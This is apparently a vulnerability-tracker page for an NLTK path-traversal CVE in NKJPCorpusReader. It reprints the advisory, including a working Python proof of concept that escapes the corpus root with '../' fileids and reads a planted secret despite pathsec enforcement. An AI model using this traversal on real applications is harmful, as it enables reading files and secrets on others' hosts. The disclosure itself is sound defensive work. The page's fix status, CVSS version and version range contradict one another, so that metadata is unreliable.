CVE-2026-12072

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.5EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 7.5Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no
normalization or containment check:
def add_root(self, fileid):          # lines 96-102
         if self.root in fileid:
             return fileid                # attacker-controlled value returned unchanged
         return self.root + fileid        # plain concat, '..' not stripped
  • The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin open()):
class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
         def __init__(self, filename, **kwargs):
             XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
  • The other modes reach the filesystem through XML_Tool, which uses a raw
os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
class XML_Tool:                                  # line 243
         def __init__(self, root, filename):
             self.read_file = os.path.join(root, filename)   # line 251
         def build_preprocessed_file(self):
             fr = open(self.read_file)                        # line 256 — pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
   python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
   warnings.simplefilter("ignore")
   import nltk, nltk.pathsec as pathsec
   from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")

# The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, k: (opened.append(str(f)), real(f, *a, k))[1]

reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real

print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

nltk 3.9.4
   ENFORCE = True
   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF
With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

CVSS v3
7.5
EG Score
7.5(low)
EG Risk
38(Track)
EG Risk 38/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity75% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

July 31, 2026

Last Modified

July 31, 2026

Vendor Advisories for CVE-2026-12072(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
nltk0.8 ... 3.9b1 (65 versions)3.10.0

Data Freshness Timeline

(refreshed 0× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-31 17:08 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-12072?
CVE-2026-12072 is a high vulnerability published on July 31, 2026. Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True) Summary A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods…
When was CVE-2026-12072 disclosed?
CVE-2026-12072 was first published in the National Vulnerability Database on July 31, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-12072?
CVE-2026-12072 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-12072?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-12072, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-12072

Explore →

Is Your Infrastructure Affected by CVE-2026-12072?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.